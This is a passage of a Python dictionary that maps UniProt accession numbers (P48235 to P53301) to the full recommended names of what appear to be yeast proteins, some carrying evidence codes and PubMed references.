'P48235' : ntuniprot(RecName_Full='Extender of the chronological lifespan protein 1'),
'P48236' : ntuniprot(RecName_Full='Uncharacterized membrane protein YGR149W'),
'P48237' : ntuniprot(RecName_Full='Mitochondrial group I intron splicing factor CCM1'),
'P48238' : ntuniprot(RecName_Full='Uncharacterized protein YGR153W'),
'P48239' : ntuniprot(RecName_Full='Glutathione S-transferase omega-like 1'),
'P48240' : ntuniprot(RecName_Full='Exosome complex component MTR3'),
'P48353' : ntuniprot(RecName_Full='Protein HLJ1'),
'P48360' : ntuniprot(RecName_Full='Probable NADPH:adrenodoxin oxidoreductase, mitochondrial'),
'P48361' : ntuniprot(RecName_Full='Activator of SKN7 protein 10'),
'P48362' : ntuniprot(RecName_Full='Protein HGH1'),
'P48363' : ntuniprot(RecName_Full='Prefoldin subunit 3'),
'P48365' : ntuniprot(RecName_Full='GTPase-activating protein GYP7'),
'P48412' : ntuniprot(RecName_Full='Nonsense-mediated mRNA decay protein 3'),
'P48415' : ntuniprot(RecName_Full='COPII coat assembly protein SEC16'),
'P48439' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit 3'),
'P48445' : ntuniprot(RecName_Full='Biotin--protein ligase'),
'P48510' : ntuniprot(RecName_Full='Ubiquitin domain-containing protein DSK2'),
'P48524' : ntuniprot(RecName_Full='Ubiquitin ligase-binding protein BUL1'),
'P48525' : ntuniprot(RecName_Full='Glutamate--tRNA ligase, mitochondrial'),
'P48526' : ntuniprot(RecName_Full='Isoleucine--tRNA ligase, mitochondrial'),
'P48527' : ntuniprot(RecName_Full='Tyrosine--tRNA ligase, mitochondrial'),
'P48558' : ntuniprot(RecName_Full='Bax inhibitor 1'),
'P48559' : ntuniprot(RecName_Full='GTP-binding protein YPT11'),
'P48560' : ntuniprot(RecName_Full='Protein TOS6'),
'P48561' : ntuniprot(RecName_Full='Poly(A) RNA polymerase protein 1'),
'P48562' : ntuniprot(RecName_Full='Serine/threonine-protein kinase CLA4'),
'P48563' : ntuniprot(RecName_Full='Protein MON2'),
'P48564' : ntuniprot(RecName_Full='MIOREX complex component 6 {ECO:0000305|PubMed:25683707}'),
'P48565' : ntuniprot(RecName_Full='pH-response regulator protein palH/RIM21'),
'P48566' : ntuniprot(RecName_Full='GTPase-activating protein GYP3'),
'P48567' : ntuniprot(RecName_Full='tRNA pseudouridine synthase 4'),
'P48568' : ntuniprot(RecName_Full='Uncharacterized protein YDL186W'),
'P48569' : ntuniprot(RecName_Full='Uncharacterized protein YDL183C'),
'P48570' : ntuniprot(RecName_Full='Homocitrate synthase, cytosolic isozyme'),
'P48581' : ntuniprot(RecName_Full='DNA damage checkpoint control protein RAD17'),
'P48582' : ntuniprot(RecName_Full='Vacuolar-sorting protein BRO1'),
'P48589' : ntuniprot(RecName_Full='40S ribosomal protein S12 {ECO:0000303|PubMed:9559554}'),
'P48606' : ntuniprot(RecName_Full='Tubulin-specific chaperone A'),
'P48743' : ntuniprot(RecName_Full='RFX-like DNA-binding protein RFX1'),
'P48813' : ntuniprot(RecName_Full='High-affinity glutamine permease'),
'P48836' : ntuniprot(RecName_Full='V-type proton ATPase subunit G'),
'P48837' : ntuniprot(RecName_Full='Nucleoporin NUP57'),
'P49017' : ntuniprot(RecName_Full='2-methoxy-6-polyprenyl-1,4-benzoquinol methylase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03191, ECO:0000303|PubMed:9083049}'),
'P49018' : ntuniprot(RecName_Full='GPI-anchor transamidase'),
'P49089' : ntuniprot(RecName_Full='Asparagine synthetase [glutamine-hydrolyzing] 1'),
'P49090' : ntuniprot(RecName_Full='Asparagine synthetase [glutamine-hydrolyzing] 2'),
'P49095' : ntuniprot(RecName_Full='Glycine dehydrogenase (decarboxylating), mitochondrial'),
'P49166' : ntuniprot(RecName_Full='60S ribosomal protein L37-A {ECO:0000303|PubMed:9559554}'),
'P49167' : ntuniprot(RecName_Full='60S ribosomal protein L38 {ECO:0000303|PubMed:9559554}'),
'P49334' : ntuniprot(RecName_Full='Mitochondrial import receptor subunit TOM22'),
'P49367' : ntuniprot(RecName_Full='Homoaconitase, mitochondrial'),
'P49435' : ntuniprot(RecName_Full='Adenine phosphoribosyltransferase 1'),
'P49573' : ntuniprot(RecName_Full='Copper transport protein CTR1'),
'P49626' : ntuniprot(RecName_Full='60S ribosomal protein L4-B {ECO:0000303|PubMed:9559554}'),
'P49686' : ntuniprot(RecName_Full='Nucleoporin NUP42'),
'P49687' : ntuniprot(RecName_Full='Nucleoporin NUP145'),
'P49704' : ntuniprot(RecName_Full='Pre-mRNA-processing factor 31'),
'P49723' : ntuniprot(RecName_Full='Ribonucleoside-diphosphate reductase small chain 2'),
'P49775' : ntuniprot(RecName_Full="Bis(5'-adenosyl)-triphosphatase"),
'P49954' : ntuniprot(RecName_Full='Omega-amidase NIT3 {ECO:0000303|PubMed:28373563}'),
'P49955' : ntuniprot(RecName_Full='U2 snRNP component HSH155'),
'P49956' : ntuniprot(RecName_Full='Chromosome transmission fidelity protein 18'),
'P49957' : ntuniprot(RecName_Full='tRNA (carboxymethyluridine(34)-5-O)-methyltransferase'),
'P49960' : ntuniprot(RecName_Full='U4/U6 snRNA-associated-splicing factor PRP24'),
'P50076' : ntuniprot(RecName_Full='Dol-P-Glc:Glc(2)Man(9)GlcNAc(2)-PP-Dol alpha-1,2-glucosyltransferase'),
'P50077' : ntuniprot(RecName_Full='Calcium-channel protein CCH1'),
'P50078' : ntuniprot(RecName_Full='Protein TOS2'),
'P50079' : ntuniprot(RecName_Full='SVP1-like protein 2'),
'P50080' : ntuniprot(RecName_Full='Azole resistance protein 1'),
'P50082' : ntuniprot(RecName_Full='Meiosis-specific APC/C activator protein AMA1'),
'P50084' : ntuniprot(RecName_Full='Protein BNS1'),
'P50085' : ntuniprot(RecName_Full='Prohibitin-2'),
'P50086' : ntuniprot(RecName_Full='Probable 26S proteasome regulatory subunit p28'),
'P50087' : ntuniprot(RecName_Full='MICOS subunit MIC26'),
'P50088' : ntuniprot(RecName_Full='Stationary phase gene 1 protein'),
'P50089' : ntuniprot(RecName_Full='Uncharacterized protein YGR237C'),
'P50090' : ntuniprot(RecName_Full='Kelch repeat-containing protein 2'),
'P50091' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX21'),
'P50094' : ntuniprot(RecName_Full="Inosine-5'-monophosphate dehydrogenase 4 {ECO:0000255|HAMAP-Rule:MF_03156}"),
'P50095' : ntuniprot(RecName_Full="Inosine-5'-monophosphate dehydrogenase 3 {ECO:0000255|HAMAP-Rule:MF_03156}"),
'P50101' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 15'),
'P50102' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 8'),
'P50104' : ntuniprot(RecName_Full='Probable transcriptional regulatory protein STB4'),
'P50105' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 4'),
'P50106' : ntuniprot(RecName_Full='DNA-directed RNA polymerase I subunit RPA14'),
'P50107' : ntuniprot(RecName_Full='Lactoylglutathione lyase'),
'P50108' : ntuniprot(RecName_Full='Probable alpha-1,6-mannosyltransferase MNN10'),
'P50109' : ntuniprot(RecName_Full='Protein PSP2'),
'P50110' : ntuniprot(RecName_Full='Sorting assembly machinery 37 kDa subunit'),
'P50111' : ntuniprot(RecName_Full='Protein ZDS1'),
'P50112' : ntuniprot(RecName_Full='Cell wall synthesis protein KNH1'),
'P50113' : ntuniprot(RecName_Full='L-aminoadipate-semialdehyde dehydrogenase-phosphopantetheinyl transferase'),
'P50263' : ntuniprot(RecName_Full='Protein SIP18'),
'P50264' : ntuniprot(RecName_Full='Polyamine oxidase FMS1'),
'P50273' : ntuniprot(RecName_Full='Mitochondrial translation factor ATP22'),
'P50275' : ntuniprot(RecName_Full='Anaphase spindle elongation protein'),
'P50276' : ntuniprot(RecName_Full='High-affinity methionine permease'),
'P50277' : ntuniprot(RecName_Full='Adenosylmethionine-8-amino-7-oxononanoate aminotransferase'),
'P50278' : ntuniprot(RecName_Full='6-phosphogluconolactonase-like protein 1'),
'P50623' : ntuniprot(RecName_Full='SUMO-conjugating enzyme UBC9'),
'P50861' : ntuniprot(RecName_Full='6,7-dimethyl-8-ribityllumazine synthase'),
'P50873' : ntuniprot(RecName_Full='Serine/threonine-protein kinase MRK1'),
'P50874' : ntuniprot(RecName_Full='Origin recognition complex subunit 5'),
'P50875' : ntuniprot(RecName_Full='Transcription factor SPT20'),
'P50896' : ntuniprot(RecName_Full='Protein PSP1'),
'P50942' : ntuniprot(RecName_Full='Polyphosphatidylinositol phosphatase INP52'),
'P50944' : ntuniprot(RecName_Full='Vacuolar amino acid transporter 4'),
'P50945' : ntuniprot(RecName_Full='MICOS complex subunit MIC27'),
'P50946' : ntuniprot(RecName_Full='Putative tyrosine-protein phosphatase OCA1'),
'P50947' : ntuniprot(RecName_Full='Transcriptional regulatory protein PHO23'),
'P51401' : ntuniprot(RecName_Full='60S ribosomal protein L9-B {ECO:0000303|PubMed:9559554}'),
'P51402' : ntuniprot(RecName_Full='60S ribosomal protein L37-B {ECO:0000303|PubMed:9559554}'),
'P51533' : ntuniprot(RecName_Full='ATP-dependent permease PDR10'),
'P51534' : ntuniprot(RecName_Full='SWI5-dependent HO expression protein 4'),
'P51601' : ntuniprot(RecName_Full='GTP cyclohydrolase 1'),
'P51862' : ntuniprot(RecName_Full='RHO1 GDP-GTP exchange protein 2'),
'P51979' : ntuniprot(RecName_Full='ATP-dependent DNA helicase MER3'),
'P51996' : ntuniprot(RecName_Full='GTP-binding protein YPT32/YPT11'),
'P51998' : ntuniprot(RecName_Full='54S ribosomal protein YmL6, mitochondrial'),
'P52286' : ntuniprot(RecName_Full='Suppressor of kinetochore protein 1'),
'P52290' : ntuniprot(RecName_Full='Probable acid phosphatase DIA3'),
'P52488' : ntuniprot(RecName_Full='Ubiquitin-activating enzyme E1-like'),
'P52489' : ntuniprot(RecName_Full='Pyruvate kinase 2'),
'P52490' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2 13'),
'P52491' : ntuniprot(RecName_Full='NEDD8-conjugating enzyme UBC12'),
'P52492' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2-18 kDa'),
'P52553' : ntuniprot(RecName_Full='Prefoldin subunit 6'),
'P52593' : ntuniprot(RecName_Full='Nucleoporin NUP188'),
'P52867' : ntuniprot(RecName_Full='Dolichyl-phosphate-mannose--protein mannosyltransferase 5 {ECO:0000305}'),
'P52868' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC23'),
'P52870' : ntuniprot(RecName_Full='Protein transport protein SBH1'),
'P52871' : ntuniprot(RecName_Full='Protein transport protein SBH2'),
'P52891' : ntuniprot(RecName_Full='Nucleoporin NUP84'),
'P52892' : ntuniprot(RecName_Full='Probable alanine aminotransferase'),
'P52893' : ntuniprot(RecName_Full='Probable alanine aminotransferase, mitochondrial'),
'P52910' : ntuniprot(RecName_Full='Acetyl-coenzyme A synthetase 2'),
'P52911' : ntuniprot(RecName_Full='Glucan 1,3-beta-glucosidase 2'),
'P52917' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 4'),
'P52918' : ntuniprot(RecName_Full='Protein MSN5'),
'P52919' : ntuniprot(RecName_Full='NAP1-binding protein'),
'P52920' : ntuniprot(RecName_Full='Cytosolic Fe-S cluster assembly factor NBP35 {ECO:0000255|HAMAP-Rule:MF_03038}'),
'P52923' : ntuniprot(RecName_Full='Apoptosis-inducing factor 1'),
'P52924' : ntuniprot(RecName_Full='Protein COS10'),
'P52960' : ntuniprot(RecName_Full='Peroxisome proliferation transcriptional regulator'),
'P53008' : ntuniprot(RecName_Full='Mannosyl-oligosaccharide glucosidase {ECO:0000305}'),
'P53009' : ntuniprot(RecName_Full='Protein kinase-like protein SCY1'),
'P53010' : ntuniprot(RecName_Full='PAN2-PAN3 deadenylation complex catalytic subunit PAN2 {ECO:0000255|HAMAP-Rule:MF_03182, ECO:0000305}'),
'P53011' : ntuniprot(RecName_Full='Nucleoporin SEH1'),
'P53012' : ntuniprot(RecName_Full='FIT family protein SCS3'),
'P53032' : ntuniprot(RecName_Full='Sterol uptake protein 1'),
'P53035' : ntuniprot(RecName_Full='Regulatory protein MIG2'),
'P53036' : ntuniprot(RecName_Full='SIT4-associating protein SAP4'),
'P53037' : ntuniprot(RecName_Full='Phosphatidylserine decarboxylase proenzyme 2 {ECO:0000255|HAMAP-Rule:MF_03209, ECO:0000305|PubMed:7890740}'),
'P53038' : ntuniprot(RecName_Full='Telomere length regulation protein TEL2'),
'P53039' : ntuniprot(RecName_Full='Protein transport protein YIP1'),
'P53040' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 6'),
'P53043' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase T'),
'P53044' : ntuniprot(RecName_Full='Ubiquitin fusion degradation protein 1'),
'P53045' : ntuniprot(RecName_Full='Methylsterol monooxygenase'),
'P53046' : ntuniprot(RecName_Full='RHO1 GDP-GTP exchange protein 1'),
'P53047' : ntuniprot(RecName_Full='Protein RTA1'),
'P53048' : ntuniprot(RecName_Full='General alpha-glucoside permease'),
'P53049' : ntuniprot(RecName_Full='Oligomycin resistance ATP-dependent permease YOR1'),
'P53050' : ntuniprot(RecName_Full='Protein MGA1'),
'P53051' : ntuniprot(RecName_Full='Oligo-1,6-glucosidase IMA1'),
'P53053' : ntuniprot(RecName_Full='Protein COS12'),
'P53054' : ntuniprot(RecName_Full='Putative uncharacterized protein YGL262W'),
'P53056' : ntuniprot(RecName_Full='Putative UPF0377 protein YGL260W'),
'P53057' : ntuniprot(RecName_Full='Yapsin-5'),
'P53058' : ntuniprot(RecName_Full='Protein VEL1'),
'P53059' : ntuniprot(RecName_Full='Alpha-1,3-mannosyltransferase MNT2'),
'P53060' : ntuniprot(RecName_Full='Reduced meiotic recombination protein 1'),
'P53061' : ntuniprot(RecName_Full='Protein ZIP2'),
'P53062' : ntuniprot(RecName_Full='Nucleus export protein BRR6'),
'P53063' : ntuniprot(RecName_Full='Decapping nuclease RAI1'),
'P53064' : ntuniprot(RecName_Full='RNA polymerase-associated protein RTF1'),
'P53065' : ntuniprot(RecName_Full='tRNA-specific adenosine deaminase 1'),
'P53066' : ntuniprot(RecName_Full='Ankyrin repeat-containing protein YGL242C'),
'P53067' : ntuniprot(RecName_Full='Importin subunit beta-5'),
'P53068' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit DOC1'),
'P53070' : ntuniprot(RecName_Full='Mitochondrial translation optimization protein 1'),
'P53071' : ntuniprot(RecName_Full='Uncharacterized protein YGL235W'),
'P53072' : ntuniprot(RecName_Full='tRNA acetyltransferase TAN1'),
'P53073' : ntuniprot(RecName_Full='ER membrane protein complex subunit 4'),
'P53074' : ntuniprot(RecName_Full='Uncharacterized protein YGL230C'),
'P53075' : ntuniprot(RecName_Full='Outer spore wall assembly protein SHE10 {ECO:0000305|PubMed:23966878}'),
'P53076' : ntuniprot(RecName_Full='Vacuolar import and degradation protein 30'),
'P53077' : ntuniprot(RecName_Full='Maintenance of telomere capping protein 3, mitochondrial'),
'P53078' : ntuniprot(RecName_Full='Suppressor of disruption of TFIIS'),
'P53079' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 1'),
'P53080' : ntuniprot(RecName_Full='Enhancer of mRNA-decapping protein 1'),
'P53081' : ntuniprot(RecName_Full='NGG1-interacting factor 3 {ECO:0000303|PubMed:8663102}'),
'P53082' : ntuniprot(RecName_Full='BolA-like protein 2'),
'P53083' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 34 {ECO:0000255|HAMAP-Rule:MF_03105}'),
'P53086' : ntuniprot(RecName_Full='Kinesin-like protein KIP3'),
'P53088' : ntuniprot(RecName_Full='Cytoplasmic tRNA 2-thiolation protein 1 {ECO:0000255|HAMAP-Rule:MF_03053}'),
'P53089' : ntuniprot(RecName_Full='Uncharacterized protein YGL204C'),
'P53090' : ntuniprot(RecName_Full='Aromatic/aminoadipate aminotransferase 1'),
'P53091' : ntuniprot(RecName_Full='DNA replication licensing factor MCM6'),
'P53093' : ntuniprot(RecName_Full='Protein YIP4'),
'P53094' : ntuniprot(RecName_Full='Negative regulator of sporulation MDS3'),
'P53095' : ntuniprot(RecName_Full='D-serine dehydratase'),
'P53096' : ntuniprot(RecName_Full='Probable histone deacetylase HOS2'),
'P53097' : ntuniprot(RecName_Full='Uncharacterized protein YGL193C'),
'P53099' : ntuniprot(RecName_Full='Vitamin B6 transporter TPN1'),
'P53100' : ntuniprot(RecName_Full='Putative 2-hydroxyacid dehydrogenase YGL185C'),
'P53101' : ntuniprot(RecName_Full='Cystathionine beta-lyase'),
'P53102' : ntuniprot(RecName_Full='Meiotic nuclear division protein 1'),
'P53104' : ntuniprot(RecName_Full='Serine/threonine-protein kinase ATG1 {ECO:0000305}'),
'P53107' : ntuniprot(RecName_Full='Ran-specific GTPase-activating protein 30'),
'P53108' : ntuniprot(RecName_Full='Protein YIP5'),
'P53109' : ntuniprot(RecName_Full='Probable metalloreductase AIM14'),
'P53110' : ntuniprot(RecName_Full='Uncharacterized protein YGL159W'),
'P53111' : ntuniprot(RecName_Full='NADPH-dependent aldehyde reductase ARI1'),
'P53112' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX14'),
'P53114' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 5'),
'P53115' : ntuniprot(RecName_Full='Chromatin-remodeling ATPase INO80 {ECO:0000305}'),
'P53117' : ntuniprot(RecName_Full='Regulator of rDNA transcription protein 6'),
'P53118' : ntuniprot(RecName_Full='Putative lipase ROG1'),
'P53119' : ntuniprot(RecName_Full='Probable E3 ubiquitin-protein ligase HUL5'),
'P53120' : ntuniprot(RecName_Full='Uncharacterized membrane protein YGL140C'),
'P53121' : ntuniprot(RecName_Full='Putative flavin carrier protein 3'),
'P53122' : ntuniprot(RecName_Full='Uncharacterized protein YGL138C'),
'P53123' : ntuniprot(RecName_Full='rRNA methyltransferase 2, mitochondrial {ECO:0000303|PubMed:11867542}'),
'P53124' : ntuniprot(RecName_Full='PHO85 cyclin-10'),
'P53125' : ntuniprot(RecName_Full='Imitation switch two complex protein 1'),
'P53127' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase SNT2 {ECO:0000305|PubMed:22570702}'),
'P53128' : ntuniprot(RecName_Full='Methylenetetrahydrofolate reductase 2'),
'P53129' : ntuniprot(RecName_Full='Vacuolar fusion protein MON1'),
'P53130' : ntuniprot(RecName_Full='Heterotrimeric G protein gamma subunit GPG1'),
'P53131' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor ATP-dependent RNA helicase PRP43'),
'P53133' : ntuniprot(RecName_Full='Uncharacterized protein YGL117W'),
'P53134' : ntuniprot(RecName_Full='Putative oligopeptide transporter YGL114W'),
'P53135' : ntuniprot(RecName_Full='DNA replication regulator SLD3'),
'P53136' : ntuniprot(RecName_Full='Ribosome biogenesis protein NSA1'),
'P53137' : ntuniprot(RecName_Full='CUE domain-containing protein 3'),
'P53139' : ntuniprot(RecName_Full='Uncharacterized protein YGL108C'),
'P53140' : ntuniprot(RecName_Full='Protein RMD9, mitochondrial'),
'P53141' : ntuniprot(RecName_Full='Myosin light chain 1'),
'P53142' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 73'),
'P53144' : ntuniprot(RecName_Full='HD domain-containing protein YGL101W'),
'P53145' : ntuniprot(RecName_Full='Large subunit GTPase 1'),
'P53146' : ntuniprot(RecName_Full='Protein transport protein USE1'),
'P53147' : ntuniprot(RecName_Full='Homeobox protein TOS8'),
'P53148' : ntuniprot(RecName_Full='Spindle pole body component SPC105'),
'P53150' : ntuniprot(RecName_Full='Ligase-interacting factor 1'),
'P53152' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme variant MMS2'),
'P53153' : ntuniprot(RecName_Full='Probable endonuclease LCL3'),
'P53154' : ntuniprot(RecName_Full='Glycerol uptake protein 1'),
'P53155' : ntuniprot(RecName_Full='Uncharacterized protein YGL082W'),
'P53156' : ntuniprot(RecName_Full='Uncharacterized protein YGL081W'),
'P53157' : ntuniprot(RecName_Full='Mitochondrial pyruvate carrier 1 {ECO:0000303|PubMed:22628554, ECO:0000303|PubMed:22628558}'),
'P53158' : ntuniprot(RecName_Full='Biogenesis of lysosome-related organelles complex 1 subunit KXD1'),
'P53159' : ntuniprot(RecName_Full='Monopolar spindle protein 2'),
'P53163' : ntuniprot(RecName_Full='54S ribosomal protein L12, mitochondrial'),
'P53164' : ntuniprot(RecName_Full='NADH pyrophosphatase'),
'P53165' : ntuniprot(RecName_Full='SAGA-associated factor 73'),
'P53166' : ntuniprot(RecName_Full='ATP-dependent RNA helicase MRH4, mitochondrial'),
'P53167' : ntuniprot(RecName_Full='tRNA pseudouridine(27/28) synthase'),
'P53168' : ntuniprot(RecName_Full='DASH complex subunit DUO1'),
'P53169' : ntuniprot(RecName_Full='YAP1-binding protein 2 {ECO:0000303|PubMed:15075262}'),
'P53170' : ntuniprot(RecName_Full='[Pyruvate dehydrogenase (acetyl-transferring)] kinase 2, mitochondrial'),
'P53171' : ntuniprot(RecName_Full='Genetic interactor of prohibitin 7, mitochondrial'),
'P53172' : ntuniprot(RecName_Full='Protein SDS23'),
'P53173' : ntuniprot(RecName_Full='ER-derived vesicles protein ERV14'),
'P53174' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 8'),
'P53176' : ntuniprot(RecName_Full='Multicopy suppressor of SEC21 protein 27'),
'P53177' : ntuniprot(RecName_Full='tRNA wybutosine-synthesizing protein 3'),
'P53178' : ntuniprot(RecName_Full='UDP-N-acetylglucosamine transferase subunit ALG13'),
'P53179' : ntuniprot(RecName_Full='pH-response regulator protein palF/RIM8'),
'P53183' : ntuniprot(RecName_Full='Putative uncharacterized oxidoreductase YGL039W'),
'P53184' : ntuniprot(RecName_Full='Nicotinamidase'),
'P53185' : ntuniprot(RecName_Full='Uncharacterized protein YGL036W'),
'P53187' : ntuniprot(RecName_Full='Homologous-pairing protein 2'),
'P53188' : ntuniprot(RecName_Full='rRNA-processing protein CGR1'),
'P53189' : ntuniprot(RecName_Full='Probable family 17 glucosidase SCW11'),
'P53191' : ntuniprot(RecName_Full='Phosphatidylinositol 3-phosphate-binding protein 2'),
'P53192' : ntuniprot(RecName_Full='Golgi to ER traffic protein 1 {ECO:0000255|HAMAP-Rule:MF_03113}'),
'P53193' : ntuniprot(RecName_Full='J-type co-chaperone JAC1, mitochondrial'),
'P53195' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 7'),
'P53196' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN14'),
'P53197' : ntuniprot(RecName_Full='APC/C activator protein CDH1'),
'P53198' : ntuniprot(RecName_Full='Protein ERP6'),
'P53199' : ntuniprot(RecName_Full='Sterol-4-alpha-carboxylate 3-dehydrogenase, decarboxylating'),
'P53200' : ntuniprot(RecName_Full='Protein-lysine N-methyltransferase EFM5 {ECO:0000255|HAMAP-Rule:MF_03187, ECO:0000305|PubMed:25446118}'),
'P53201' : ntuniprot(RecName_Full='SWR1-complex protein 4'),
'P53202' : ntuniprot(RecName_Full='Cullin-3'),
'P53203' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX31'),
'P53204' : ntuniprot(RecName_Full='Nicotinamide/nicotinic acid mononucleotide adenylyltransferase 2 {ECO:0000305}'),
'P53206' : ntuniprot(RecName_Full='Putative cysteine synthase {ECO:0000305|PubMed:9409150}'),
'P53207' : ntuniprot(RecName_Full='U1 small nuclear ribonucleoprotein component SNU71'),
'P53208' : ntuniprot(RecName_Full='Ethanol acetyltransferase 1'),
'P53209' : ntuniprot(RecName_Full='Uncharacterized membrane protein YGR016W'),
'P53210' : ntuniprot(RecName_Full='Uncharacterized protein YGR017W'),
'P53211' : ntuniprot(RecName_Full='Uncharacterized protein YGR018C'),
'P53212' : ntuniprot(RecName_Full='Probable transcriptional regulatory protein HAH1'),
'P53214' : ntuniprot(RecName_Full='Protein MTL1'),
'P53215' : ntuniprot(RecName_Full='tRNA(His) guanylyltransferase'),
'P53217' : ntuniprot(RecName_Full='Uncharacterized membrane protein YGR026W'),
'P53218' : ntuniprot(RecName_Full='Ribonucleases P/MRP protein subunit POP6'),
'P53219' : ntuniprot(RecName_Full='Probable alcohol acetyltransferase'),
'P53220' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM21'),
'P53221' : ntuniprot(RecName_Full='60S ribosomal protein L26-B {ECO:0000303|PubMed:9559554}'),
'P53222' : ntuniprot(RecName_Full='Uncharacterized protein YGR035C'),
'P53223' : ntuniprot(RecName_Full='Dolichyldiphosphatase'),
'P53224' : ntuniprot(RecName_Full='Protein ORM1'),
'P53226' : ntuniprot(RecName_Full='Bud site selection protein 9'),
'P53227' : ntuniprot(RecName_Full='Uncharacterized protein YGR042W'),
'P53228' : ntuniprot(RecName_Full='Transaldolase NQM1'),
'P53230' : ntuniprot(RecName_Full='Phosphatidate cytidylyltransferase, mitochondrial'),
'P53231' : ntuniprot(RecName_Full='Uncharacterized protein YGR050C'),
'P53233' : ntuniprot(RecName_Full='Probable serine/threonine-protein kinase FMP48'),
'P53234' : ntuniprot(RecName_Full='Uncharacterized protein YGR053C'),
'P53235' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 2A'),
'P53236' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex subunit RSC1'),
'P53237' : ntuniprot(RecName_Full='Protein LST7'),
'P53238' : ntuniprot(RecName_Full='Peflin'),
'P53239' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly protein COX18, mitochondrial'),
'P53241' : ntuniprot(RecName_Full='Vitamin H transporter'),
'P53242' : ntuniprot(RecName_Full='Uncharacterized protein YGR066C'),
'P53243' : ntuniprot(RecName_Full='Zinc finger protein YGR067C'),
'P53244' : ntuniprot(RecName_Full='Arrestin-related trafficking adapter 5'),
'P53246' : ntuniprot(RecName_Full='Late endosome and vacuole interface protein 11'),
'P53248' : ntuniprot(RecName_Full='Peroxisomal biogenesis factor 8'),
'P53249' : ntuniprot(RecName_Full='Putative uncharacterized protein YGR079W'),
'P53250' : ntuniprot(RecName_Full='Twinfilin-1'),
'P53251' : ntuniprot(RecName_Full='Ribosome biogenesis protein SLX9'),
'P53252' : ntuniprot(RecName_Full='Sphingolipid long chain base-responsive protein PIL1'),
'P53253' : ntuniprot(RecName_Full='Protein NNF2'),
'P53254' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 22'),
'P53255' : ntuniprot(RecName_Full='CWF19-like protein DRN1'),
'P53256' : ntuniprot(RecName_Full='Exosome complex component RRP46'),
'P53257' : ntuniprot(RecName_Full='Mitochondrial thiamine pyrophosphate carrier 1'),
'P53258' : ntuniprot(RecName_Full='GTPase-activating protein GYP2'),
'P53259' : ntuniprot(RecName_Full='Rhomboid protein 1, mitochondrial'),
'P53260' : ntuniprot(RecName_Full='Glutamyl-tRNA(Gln) amidotransferase subunit F, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03151}'),
'P53261' : ntuniprot(RecName_Full='Pescadillo homolog {ECO:0000255|HAMAP-Rule:MF_03028, ECO:0000303|PubMed:12022229}'),
'P53262' : ntuniprot(RecName_Full='V0 assembly protein 1'),
'P53264' : ntuniprot(RecName_Full='Cardiolipin-specific deacylase 1, mitochondrial'),
'P53265' : ntuniprot(RecName_Full='Uncharacterized protein YGR111W'),
'P53266' : ntuniprot(RecName_Full='Cytochrome oxidase assembly protein SHY1'),
'P53267' : ntuniprot(RecName_Full='DASH complex subunit DAM1'),
'P53270' : ntuniprot(RecName_Full='Uncharacterized protein YGR117C'),
'P53271' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 2'),
'P53272' : ntuniprot(RecName_Full='Uncharacterized protein YGR122W'),
'P53273' : ntuniprot(RecName_Full='Uncharacterized vacuolar membrane protein YGR125W'),
'P53274' : ntuniprot(RecName_Full='Uncharacterized protein YGR126W'),
'P53275' : ntuniprot(RecName_Full='Uncharacterized protein YGR127W'),
'P53276' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 8'),
'P53277' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SYF2'),
'P53278' : ntuniprot(RecName_Full='Uncharacterized protein YGR130C'),
'P53279' : ntuniprot(RecName_Full='Non-classical export protein 2 homolog 1'),
'P53280' : ntuniprot(RecName_Full='Protein CAF130'),
'P53281' : ntuniprot(RecName_Full='LAS seventeen-binding protein 1'),
'P53283' : ntuniprot(RecName_Full='Polyamine transporter 2'),
'P53285' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 62'),
'P53286' : ntuniprot(RecName_Full='Protein BTN2'),
'P53289' : ntuniprot(RecName_Full='Protein phosphatase type 2A regulatory subunit RTS3'),
'P53290' : ntuniprot(RecName_Full='GTP-binding protein GTR2'),
'P53292' : ntuniprot(RecName_Full='37S ribosomal protein S35, mitochondrial'),
'P53293' : ntuniprot(RecName_Full='Uncharacterized protein YGR168C'),
'P53294' : ntuniprot(RecName_Full='tRNA pseudouridine(31) synthase'),
'P53295' : ntuniprot(RecName_Full='Ribosome-interacting GTPase 2'),
'P53296' : ntuniprot(RecName_Full='Alcohol O-acetyltransferase 2 {ECO:0000303|PubMed:10103065}'),
'P53297' : ntuniprot(RecName_Full='PAB1-binding protein 1'),
'P53298' : ntuniprot(RecName_Full='Inner kinetochore subunit OKP1 {ECO:0000305}'),
'P53299' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM13'),
'P53301' : ntuniprot(RecName_Full='Probable glycosidase CRH1'),
